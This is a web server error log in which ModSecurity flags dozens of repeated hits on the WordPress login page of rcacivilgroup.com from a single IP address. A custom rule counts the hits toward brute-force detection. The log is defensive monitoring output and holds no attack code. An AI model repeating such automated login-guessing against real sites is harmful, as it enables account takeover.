[Wed Nov 12 22:46:40.091268 2025] [:error] [pid 60405:tid 60413] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd0HMGv_mlVi6mf5ov6AAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:45.014367 2025] [:error] [pid 60405:tid 60425] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd1XMGv_mlVi6mf5ov7AAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:51.685920 2025] [:error] [pid 60405:tid 60412] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd23MGv_mlVi6mf5ov-AAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:55.099054 2025] [:error] [pid 60405:tid 60423] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd33MGv_mlVi6mf5ov_wAAAA8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:58.570992 2025] [:error] [pid 60405:tid 60412] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd4nMGv_mlVi6mf5owAwAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:01.945117 2025] [:error] [pid 60405:tid 60419] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd5XMGv_mlVi6mf5owBwAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:06.109356 2025] [:error] [pid 60405:tid 60411] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd6nMGv_mlVi6mf5owCQAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:17.128236 2025] [:error] [pid 60405:tid 60428] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd9XMGv_mlVi6mf5owFAAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:22.322812 2025] [:error] [pid 60405:tid 60426] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd-nMGv_mlVi6mf5owGwAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:25.677831 2025] [:error] [pid 60405:tid 60410] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSd_XMGv_mlVi6mf5owIAAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:31.514525 2025] [:error] [pid 60405:tid 60426] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeA3MGv_mlVi6mf5owJwAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:39.697835 2025] [:error] [pid 60405:tid 60408] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeC3MGv_mlVi6mf5owLgAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:44.026747 2025] [:error] [pid 60405:tid 60412] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeEHMGv_mlVi6mf5owMgAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:54.681251 2025] [:error] [pid 60095:tid 60123] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeGnlw2elroagFF1pcfAAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:47:57.996757 2025] [:error] [pid 60095:tid 60110] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeHXlw2elroagFF1pcfwAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:10.099900 2025] [:error] [pid 60095:tid 60108] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeKnlw2elroagFF1pcgwAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:13.426712 2025] [:error] [pid 60095:tid 60117] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeLXlw2elroagFF1pchQAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:16.758254 2025] [:error] [pid 60095:tid 60113] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeMHlw2elroagFF1pchwAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:20.353732 2025] [:error] [pid 60095:tid 60123] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeNHlw2elroagFF1pcigAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:24.974342 2025] [:error] [pid 60095:tid 60121] [client 62.60.130.213:60972] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeOHlw2elroagFF1pclQAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:38.379334 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeRhQUsVVfOZWgW_XuxgAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:43.057942 2025] [:error] [pid 23737:tid 23760] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeSxQUsVVfOZWgW_XuzAAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:47.988994 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeTxQUsVVfOZWgW_Xu1QAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:51.443567 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeUxQUsVVfOZWgW_Xu2wAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:54.812900 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeVhQUsVVfOZWgW_Xu4QAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:48:58.139572 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeWhQUsVVfOZWgW_Xu6QAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:02.239869 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeXhQUsVVfOZWgW_Xu7wAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:10.567446 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeZhQUsVVfOZWgW_Xu_QAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:13.914386 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeaRQUsVVfOZWgW_XvAgAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:19.656880 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSebxQUsVVfOZWgW_XvCwAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:25.800904 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSedRQUsVVfOZWgW_XvFwAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:37.198809 2025] [:error] [pid 23737:tid 23756] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSegRQUsVVfOZWgW_XvNgAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:40.579275 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSehBQUsVVfOZWgW_XvQAAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:44.939614 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeiBQUsVVfOZWgW_XvVgAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:52.493635 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSekBQUsVVfOZWgW_XvWwAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:49:57.071737 2025] [:error] [pid 23737:tid 23768] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSelRQUsVVfOZWgW_XvYwAAAZM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:01.145454 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSemRQUsVVfOZWgW_XvawAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:07.737380 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSenxQUsVVfOZWgW_XvdAAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:17.559821 2025] [:error] [pid 23737:tid 23757] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeqRQUsVVfOZWgW_XvjQAAAYg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:21.877170 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSerRQUsVVfOZWgW_XvlwAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:26.750626 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeshQUsVVfOZWgW_XvnAAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:37.999547 2025] [:error] [pid 23737:tid 23760] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSevRQUsVVfOZWgW_XvrgAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:41.305423 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSewRQUsVVfOZWgW_XvvAAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:44.974606 2025] [:error] [pid 23737:tid 23757] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSexBQUsVVfOZWgW_XvwQAAAYg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:48.303361 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeyBQUsVVfOZWgW_XvxQAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:51.621590 2025] [:error] [pid 23737:tid 23749] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSeyxQUsVVfOZWgW_XvywAAAYA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:56.447903 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe0BQUsVVfOZWgW_Xv2AAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:50:59.768898 2025] [:error] [pid 23737:tid 23763] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe0xQUsVVfOZWgW_Xv3AAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:03.298796 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe1xQUsVVfOZWgW_Xv4QAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:06.762282 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:60156] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe2hQUsVVfOZWgW_Xv4wAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:35.527011 2025] [:error] [pid 60097:tid 60177] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe98dT5oio_TbWpi-qqAAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:38.867504 2025] [:error] [pid 60097:tid 60171] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe-sdT5oio_TbWpi-qrAAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:42.240486 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSe_sdT5oio_TbWpi-qrwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:51:45.532495 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:52424] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSfAcdT5oio_TbWpi-qswAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
